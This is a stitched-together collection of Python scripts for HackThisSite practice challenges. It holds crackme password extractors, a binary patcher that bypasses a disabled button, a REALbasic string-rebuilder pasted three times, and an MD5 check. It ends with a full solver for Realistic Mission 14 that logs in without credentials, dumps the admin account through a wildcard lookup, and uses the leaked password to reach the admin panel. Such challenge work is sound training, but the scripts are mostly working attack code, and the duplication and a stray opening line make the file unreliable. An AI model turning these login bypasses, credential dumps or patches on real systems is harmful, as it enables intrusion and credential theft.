Hello Navi

#!/usr/bin/env python3
"""Recover the site password built by HackThisSite app4win.exe (VB6 native).

The exe is compiled to VB6 *native code*, so the password is not a plain
string constant.  Each character is turned into a BSTR by the runtime
``rtcVarBstrFromAnsi`` and the pieces are glued together by ``__vbaVarCat``.
The code that does this lives inside the button click handlers:

    mov  edi, ds:rtcVarBstrFromAnsi     ; 8b 3d 54 10 40 00
    ; (此处插入 Variant 槽位零初始化指令，把 push 0x50 与首次 call 隔开)
    push 0x50                           ; 'P'  (deliberately spaced away from
    ...                                 ;        the first call by the VB
    call edi                            ;        variant zero-initialisation)
    lea  ecx, [ebp-0x38]
    push 0x61                           ; 'a'
    push ecx
    call edi
    ; (其后为 's' 's' 'w' 'o' 'r' 'd' ... 各字符同模式的 lea/push/call 序列)

Both the button-click handler at 0x402AD0 and the one at 0x403170 build the
same message.  This script walks every ``rtcVarBstrFromAnsi`` chain and prints
the immediates in address order, which is exactly the string handed to the
message box.

usage: ./extract_app4_password.py <exe>
"""
import struct
import sys

RTC = bytes.fromhex('8b3d54104000')   # mov edi, ds:[0x401054]  rtcVarBstrFromAnsi
CAT = bytes.fromhex('8b3d5c104000')   # mov edi, ds:[0x40105c]  __vbaVarCat
CALL_EDI = bytes.fromhex('ffd7')      # call edi
DISPATCH = bytes.fromhex('816c2404')  # sub dword ptr [esp+4], imm32
JMP_REL = 0xe9


def text(data):
    """.text starts at VA 0x401000 / file offset 0x1000 (fixed for this exe)."""
    return data, 0x1000, 0x401000


def chains(data, base_file, base_va):
    """Yield (va, [chars]) for every rtcVarBstrFromAnsi character chain."""
    pos = 0
    while True:
        start = data.find(RTC, pos)
        if start < 0:
            break
        end = data.find(CAT, start)
        if end < 0:
            end = len(data)
        chain_start = start
        chars = []
        for _ in range(64):
            call = data.find(CALL_EDI, start, end)
            if call < 0:
                break
            # the character immediate sits just before the two pushes that
            # feed the call; scan back for a `push imm8` (6a XX)
            off = call
            while off > start:
                if data[off] == 0x6a:
                    val = data[off + 1]
                    if 0x20 <= val <= 0x7e:
                        chars.append((base_va + (off - base_file), val))
                    break
                off -= 1
            start = call + 2
        if chars:
            yield base_va + (chain_start - base_file), chars
        pos = end + 6


def dispatch(data, base_file, base_va):
    """Print the event-id -> handler switch that drives the buttons."""
    pos = 0
    out = []
    while True:
        i = data.find(DISPATCH, pos)
        if i < 0:
            break
        ev = struct.unpack_from('<I', data, i + 4)[0]
        if data[i + 8] == JMP_REL:
            rel = struct.unpack_from('<i', data, i + 9)[0]
            target = base_va + (i - base_file) + 13 + rel
            out.append((base_va + (i - base_file), ev, target))
        pos = i + 13
    return out


def main():
    path = sys.argv[1]
    data = open(path, 'rb').read()
    data, base_file, base_va = text(data)

    print(f'[*] {path}')
    print('[*] event dispatch  (event id -> handler)')
    for va, ev, target in dispatch(data, base_file, base_va):
        print(f'    {va:#08x}  id {ev:#04x}  ->  {target:#08x}')

    for va, chars in chains(data, base_file, base_va):
        s = ''.join(chr(v) for _, v in chars)
        print(f'\n[*] rtcVarBstrFromAnsi chain at {va:#08x}: {len(chars)} chars')
        for cva, val in chars:
            print(f'    {cva:#08x}  push {val:#04x}  {chr(val)!r}')
        print(f'    => {s!r}')


if __name__ == '__main__':
    main()

#!/usr/bin/env python3
"""Patch app4win.exe so the upper button's MouseMove jumps straight to the
click handler that builds the password.

The event dispatcher uses one shared stub per event id; the button events are:

    file off 0x247C   sub [esp+4], 0x33   jmp 0x402590   Form_Load / create
    file off 0x2489   sub [esp+4], 0x37   jmp 0x402750
    file off 0x2496   sub [esp+4], 0x37   jmp 0x402810   upper Button MouseMove
    file off 0x24A3   sub [esp+4], 0x3B   jmp 0x402910
    file off 0x24B0   sub [esp+4], 0x3B   jmp 0x4029D0   lower Button MouseMove
    file off 0x24BD   sub [esp+4], 0x37   jmp 0x402AD0   upper Button Click
    file off 0x24CA   sub [esp+4], 0x3B   jmp 0x403170   lower Button Click

Every time the pointer enters the upper button the MouseMove stub at 0x402810
disables that very button (EnableWindow(hwnd, FALSE)), so it can never be
clicked.  Redirecting its `jmp` (VA 0x40249E, file offset 0x249E) from
0x402810 to the real click handler 0x402AD0 makes the mouse simply "press" it
and the password message box pops up.

usage: ./patch_app4.py <in.exe> <out.exe>
"""
import shutil
import struct
import sys

JMP_FILE_OFF = 0x249E      # `e9 6d 03 00 00`  jmp 0x402810
JMP_END_VA = 0x4024A3      # end of the instruction; rel32 is relative to this
NEW_TARGET = 0x402AD0      # loc_402AD0: the upper button's click handler


def main():
    src, dst = sys.argv[1], sys.argv[2]
    shutil.copyfile(src, dst)
    with open(dst, 'r+b') as f:
        f.seek(JMP_FILE_OFF)
        old = f.read(5)
        assert old[0] == 0xE9, f'expected a jmp rel32, got {old.hex()}'
        rel = NEW_TARGET - JMP_END_VA
        f.seek(JMP_FILE_OFF)
        f.write(b'\xE9' + struct.pack('<i', rel))
    print(f'{src} -> {dst}')
    new = b'\xE9' + struct.pack('<i', rel)
    print(f'  {JMP_FILE_OFF:#06x}: jmp 0x402810  =>  jmp {NEW_TARGET:#x}  ({old.hex()} -> {new.hex()})')


if __name__ == '__main__':
    main()

#!/usr/bin/env python3
"""Rebuild run-time-built password strings from a Xojo/REALbasic native exe.

REALbasic never stores the level password as a plain string constant.  It
builds it one character at a time at run time:

    mov  ecx, 73h        ; 's'
    push ecx
    call StringDBCSChr   ; -> "s"
    ; 每个字符重复 mov/push/call 这三步
    call RuntimeAddString ; append to the message

so the password is invisible to `strings`.  This script finds the
`mov reg,imm32 ; push reg ; call rel32` idiom, groups call sites by call
target, and prints the immediate characters in address order for every
target fed printable bytes.  The really long runs are the built strings.

usage: ./rebuild_schr.py <exe> [min_run_len]
"""
import struct
import sys
from collections import defaultdict


def load(path):
    """Return (image_base, sections, overlay_file_offset, overlay_bytes)."""
    data = open(path, 'rb').read()
    e_lfanew = struct.unpack_from('<I', data, 0x3C)[0]
    assert data[e_lfanew:e_lfanew + 4] == b'PE\0\0'
    coff = e_lfanew + 4
    nsec = struct.unpack_from('<H', data, coff + 2)[0]
    opt_size = struct.unpack_from('<H', data, coff + 16)[0]
    opt = coff + 20
    magic = struct.unpack_from('<H', data, opt)[0]
    image_base = (struct.unpack_from('<I', data, opt + 28)[0] if magic == 0x10b
                  else struct.unpack_from('<Q', data, opt + 24)[0])
    sec = opt + opt_size
    sections = []
    end = 0
    for i in range(nsec):
        s = sec + i * 40
        name = data[s:s + 8].rstrip(b'\0').decode('latin1')
        vsize, va, rawsize, rawptr = struct.unpack_from('<IIII', data, s + 8)
        sections.append((name, image_base + va, vsize, rawptr, rawsize))
        end = max(end, rawptr + rawsize)
    # REALbasic appends its own object code + string table as a file overlay
    return image_base, sections, end, data[end:]


def char_chains(overlay, base_va, gap=0x120):
    # one chain element is ~0x9c bytes: mov imm32 + push + call SChr + setup +
    # call RuntimeAddString, so the SChr sites of one string sit ~150 bytes apart
    """Find `mov r32,imm ; push r32 ; call rel32` sites and chain their chars."""
    by_target = defaultdict(list)
    i = 0
    while True:
        i = overlay.find(b'\xe8', i)                 # call rel32
        if i < 0 or i + 5 > len(overlay):
            break
        if i >= 2 and 0x50 <= overlay[i - 1] <= 0x57:      # push eax..edi
            r = overlay[i - 1] - 0x50
            if i >= 7 and overlay[i - 6] == 0xB8 + r:      # mov reg, imm32
                val = struct.unpack_from('<I', overlay, i - 5)[0]
                if val <= 0xff:
                    rel = struct.unpack_from('<i', overlay, i + 1)[0]
                    by_target[i + 5 + rel].append((i - 6, val))
        i += 1

    # per-call-site thunks: every SChr call goes through its own stub, so the
    # chain must be rebuilt from *all* char sites in address order, not grouped
    # by call target.
    all_sites = sorted(s for sites in by_target.values() for s in sites)
    runs = []
    cur, prev = [], None
    for off, val in all_sites:
        if prev is not None and off - prev > gap:
            if cur:
                runs.append((0, cur))
            cur = []
        cur.append((off, val))
        prev = off
    if cur:
        runs.append((0, cur))
    return runs


def main():
    path = sys.argv[1]
    min_len = int(sys.argv[2]) if len(sys.argv) > 2 else 8
    image_base, sections, ov_off, overlay = load(path)
    base_va = 0x55E000                       # where REALbasic maps its overlay
    print(f'[*] {path}')
    print(f'[*] overlay at file 0x{ov_off:x}, {len(overlay)} bytes, mapped at 0x{base_va:x}')
    for target, run in sorted(char_chains(overlay, base_va), key=lambda r: -len(r[1])):
        if len(run) < min_len:
            continue
        s = ''.join(chr(v) for _, v in run)
        print(f'\n=== run of {len(run)} chars  ->  {s!r} ===')
        for off, val in run:
            print(f'    file {ov_off + off:#08x}  overlay+{off:#06x}  mov reg, {val:#04x}  {chr(val)!r}')


if __name__ == '__main__':
    main()

#!/usr/bin/env python3
"""Rebuild run-time-built password strings from a Xojo/REALbasic native exe.

REALbasic never stores the level password as a plain string constant.  It
builds it one character at a time at run time:

    mov  ecx, 73h        ; 's'
    push ecx
    call StringDBCSChr   ; -> "s"
    ; 每个字符重复 mov/push/call 这三步
    call RuntimeAddString ; append to the message

so the password is invisible to `strings`.  This script finds the
`mov reg,imm32 ; push reg ; call rel32` idiom, groups call sites by call
target, and prints the immediate characters in address order for every
target fed printable bytes.  The really long runs are the built strings.

usage: ./rebuild_schr.py <exe> [min_run_len]
"""
import struct
import sys
from collections import defaultdict


def load(path):
    """Return (image_base, sections, overlay_file_offset, overlay_bytes)."""
    data = open(path, 'rb').read()
    e_lfanew = struct.unpack_from('<I', data, 0x3C)[0]
    assert data[e_lfanew:e_lfanew + 4] == b'PE\0\0'
    coff = e_lfanew + 4
    nsec = struct.unpack_from('<H', data, coff + 2)[0]
    opt_size = struct.unpack_from('<H', data, coff + 16)[0]
    opt = coff + 20
    magic = struct.unpack_from('<H', data, opt)[0]
    image_base = (struct.unpack_from('<I', data, opt + 28)[0] if magic == 0x10b
                  else struct.unpack_from('<Q', data, opt + 24)[0])
    sec = opt + opt_size
    sections = []
    end = 0
    for i in range(nsec):
        s = sec + i * 40
        name = data[s:s + 8].rstrip(b'\0').decode('latin1')
        vsize, va, rawsize, rawptr = struct.unpack_from('<IIII', data, s + 8)
        sections.append((name, image_base + va, vsize, rawptr, rawsize))
        end = max(end, rawptr + rawsize)
    # REALbasic appends its own object code + string table as a file overlay
    return image_base, sections, end, data[end:]


def char_chains(overlay, base_va, gap=0x120):
    # one chain element is ~0x9c bytes: mov imm32 + push + call SChr + setup +
    # call RuntimeAddString, so the SChr sites of one string sit ~150 bytes apart
    """Find `mov r32,imm ; push r32 ; call rel32` sites and chain their chars."""
    by_target = defaultdict(list)
    i = 0
    while True:
        i = overlay.find(b'\xe8', i)                 # call rel32
        if i < 0 or i + 5 > len(overlay):
            break
        if i >= 2 and 0x50 <= overlay[i - 1] <= 0x57:      # push eax..edi
            r = overlay[i - 1] - 0x50
            if i >= 7 and overlay[i - 6] == 0xB8 + r:      # mov reg, imm32
                val = struct.unpack_from('<I', overlay, i - 5)[0]
                if val <= 0xff:
                    rel = struct.unpack_from('<i', overlay, i + 1)[0]
                    by_target[i + 5 + rel].append((i - 6, val))
        i += 1

    # per-call-site thunks: every SChr call goes through its own stub, so the
    # chain must be rebuilt from *all* char sites in address order, not grouped
    # by call target.
    all_sites = sorted(s for sites in by_target.values() for s in sites)
    runs = []
    cur, prev = [], None
    for off, val in all_sites:
        if prev is not None and off - prev > gap:
            if cur:
                runs.append((0, cur))
            cur = []
        cur.append((off, val))
        prev = off
    if cur:
        runs.append((0, cur))
    return runs


def main():
    path = sys.argv[1]
    min_len = int(sys.argv[2]) if len(sys.argv) > 2 else 8
    image_base, sections, ov_off, overlay = load(path)
    base_va = 0x55E000                       # where REALbasic maps its overlay
    print(f'[*] {path}')
    print(f'[*] overlay at file 0x{ov_off:x}, {len(overlay)} bytes, mapped at 0x{base_va:x}')
    for target, run in sorted(char_chains(overlay, base_va), key=lambda r: -len(r[1])):
        if len(run) < min_len:
            continue
        s = ''.join(chr(v) for _, v in run)
        print(f'\n=== run of {len(run)} chars  ->  {s!r} ===')
        for off, val in run:
            print(f'    file {ov_off + off:#08x}  overlay+{off:#06x}  mov reg, {val:#04x}  {chr(val)!r}')


if __name__ == '__main__':
    main()

#!/usr/bin/env python3
"""Rebuild run-time-built password strings from a Xojo/REALbasic native exe.

REALbasic never stores the level password as a plain string constant.  It
builds it one character at a time at run time:

    mov  ecx, 73h        ; 's'
    push ecx
    call StringDBCSChr   ; -> "s"
    ; 每个字符重复 mov/push/call 这三步
    call RuntimeAddString ; append to the message

so the password is invisible to `strings`.  This script finds the
`mov reg,imm32 ; push reg ; call rel32` idiom, groups call sites by call
target, and prints the immediate characters in address order for every
target fed printable bytes.  The really long runs are the built strings.

usage: ./rebuild_schr.py <exe> [min_run_len]
"""
import struct
import sys
from collections import defaultdict


def load(path):
    """Return (image_base, sections, overlay_file_offset, overlay_bytes)."""
    data = open(path, 'rb').read()
    e_lfanew = struct.unpack_from('<I', data, 0x3C)[0]
    assert data[e_lfanew:e_lfanew + 4] == b'PE\0\0'
    coff = e_lfanew + 4
    nsec = struct.unpack_from('<H', data, coff + 2)[0]
    opt_size = struct.unpack_from('<H', data, coff + 16)[0]
    opt = coff + 20
    magic = struct.unpack_from('<H', data, opt)[0]
    image_base = (struct.unpack_from('<I', data, opt + 28)[0] if magic == 0x10b
                  else struct.unpack_from('<Q', data, opt + 24)[0])
    sec = opt + opt_size
    sections = []
    end = 0
    for i in range(nsec):
        s = sec + i * 40
        name = data[s:s + 8].rstrip(b'\0').decode('latin1')
        vsize, va, rawsize, rawptr = struct.unpack_from('<IIII', data, s + 8)
        sections.append((name, image_base + va, vsize, rawptr, rawsize))
        end = max(end, rawptr + rawsize)
    # REALbasic appends its own object code + string table as a file overlay
    return image_base, sections, end, data[end:]


def char_chains(overlay, base_va, gap=0x120):
    # one chain element is ~0x9c bytes: mov imm32 + push + call SChr + setup +
    # call RuntimeAddString, so the SChr sites of one string sit ~150 bytes apart
    """Find `mov r32,imm ; push r32 ; call rel32` sites and chain their chars."""
    by_target = defaultdict(list)
    i = 0
    while True:
        i = overlay.find(b'\xe8', i)                 # call rel32
        if i < 0 or i + 5 > len(overlay):
            break
        if i >= 2 and 0x50 <= overlay[i - 1] <= 0x57:      # push eax..edi
            r = overlay[i - 1] - 0x50
            if i >= 7 and overlay[i - 6] == 0xB8 + r:      # mov reg, imm32
                val = struct.unpack_from('<I', overlay, i - 5)[0]
                if val <= 0xff:
                    rel = struct.unpack_from('<i', overlay, i + 1)[0]
                    by_target[i + 5 + rel].append((i - 6, val))
        i += 1

    # per-call-site thunks: every SChr call goes through its own stub, so the
    # chain must be rebuilt from *all* char sites in address order, not grouped
    # by call target.
    all_sites = sorted(s for sites in by_target.values() for s in sites)
    runs = []
    cur, prev = [], None
    for off, val in all_sites:
        if prev is not None and off - prev > gap:
            if cur:
                runs.append((0, cur))
            cur = []
        cur.append((off, val))
        prev = off
    if cur:
        runs.append((0, cur))
    return runs


def main():
    path = sys.argv[1]
    min_len = int(sys.argv[2]) if len(sys.argv) > 2 else 8
    image_base, sections, ov_off, overlay = load(path)
    base_va = 0x55E000                       # where REALbasic maps its overlay
    print(f'[*] {path}')
    print(f'[*] overlay at file 0x{ov_off:x}, {len(overlay)} bytes, mapped at 0x{base_va:x}')
    for target, run in sorted(char_chains(overlay, base_va), key=lambda r: -len(r[1])):
        if len(run) < min_len:
            continue
        s = ''.join(chr(v) for _, v in run)
        print(f'\n=== run of {len(run)} chars  ->  {s!r} ===')
        for off, val in run:
            print(f'    file {ov_off + off:#08x}  overlay+{off:#06x}  mov reg, {val:#04x}  {chr(val)!r}')


if __name__ == '__main__':
    main()

import hashlib

target = "9e71fc2a99a71b722ead746b776b25ac"
h1 = hashlib.md5(b"foobar").hexdigest()             # 3858f62230ac3c915f300c664312c63f
h2 = hashlib.md5(h1.encode()).hexdigest()           # 9e71fc2a99a71b722ead746b776b25ac
print(h1)
print(h2)
print("match:", h2 == target)

#!/usr/bin/env python
"""HackThisSite Realistic Mission 14 (Yuppers Internet Solutions) solver.

Chain: moderator.cgi credential-less login (id=isadmin) -> wildcard account dump
-> Web Permit login -> administrator.cgi -> mission-accomplished.php.

Notes:
- The null-byte source read (news.cgi?story=moderator.cgi%00) does not
  truncate on the live node: Perl rejects an embedded NUL in open(), so the
  CGI reports "Failed to load moderator.cgi\\0.news". The hardcoded
  moderator id is supplied directly instead.
- POST bodies are sent raw (not form-encoded): moderator.cgi matches on the
  literal "account=*" token, so "%2A" would miss the wildcard.
"""
import os
import re

import requests

BASE = "https://www.hackthissite.org/missions/realistic/14"
UA = (
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 "
    "(KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
)
FORM = "application/x-www-form-urlencoded"

# HTS platform session cookie, e.g. HTS_COOKIE="HackThisSite=<mission-cookie>"
_raw = os.environ.get("HTS_COOKIE", "HackThisSite=<mission-cookie>")
_name, _, _value = _raw.partition("=")

s = requests.Session()
s.headers["User-Agent"] = UA
s.cookies.set(_name, _value, domain="www.hackthissite.org", path="/")


def main() -> None:
    # Step 1: null-byte source read (no truncation on the live node)
    r = s.get(f"{BASE}/news.cgi", params={"story": "moderator.cgi\x00"}, timeout=30)
    tail = r.text.split("</form>")[-1]
    print("[1] story=moderator.cgi%00 ->", tail[:40].replace("\x00", "<NUL>"))

    # Step 2: moderator login; "isadmin" is the hardcoded magic id
    r = s.post(
        f"{BASE}/moderator.cgi",
        data="action=login&id=isadmin",
        headers={"Referer": f"{BASE}/news.cgi", "Content-Type": FORM},
        timeout=30,
    )
    print("[2] moderator panel:", "View Account Info" in r.text)

    # Step 3: wildcard account lookup leaks the admin record
    r = s.post(
        f"{BASE}/moderator.cgi",
        data="action=view&id=isadmin&account=*",
        headers={"Referer": f"{BASE}/moderator.cgi", "Content-Type": FORM},
        timeout=30,
    )
    user = re.search(r"username: (\w+)", r.text).group(1)
    pw = re.search(r"password: ([^<\s]+)", r.text).group(1)
    print("[3] leaked admin creds:", user, "/", pw)

    # Step 4: Web Permit login; the server replies with yuppers_* cookies
    r = s.post(
        f"{BASE}/webpermit/login.cgi",
        data="yuppers_user=%s&yuppers_pass=%s" % (user, pw),
        headers={"Referer": f"{BASE}/login.html", "Content-Type": FORM},
        timeout=30,
    )
    print("[4] web permit logged in:", "Logged in as" in r.text)

    # Step 5: administrator panel now resolves and returns the completion iframe
    r = s.get(
        f"{BASE}/administrator.cgi",
        headers={"Referer": f"{BASE}/webpermit/login.cgi"},
        timeout=30,
    )
    m = re.search(r'src="([^"]*mission-accomplished\.php[^"]*)"', r.text)
    print("[5] completion iframe:", m.group(1) if m else "NOT FOUND")


if __name__ == "__main__":
    main()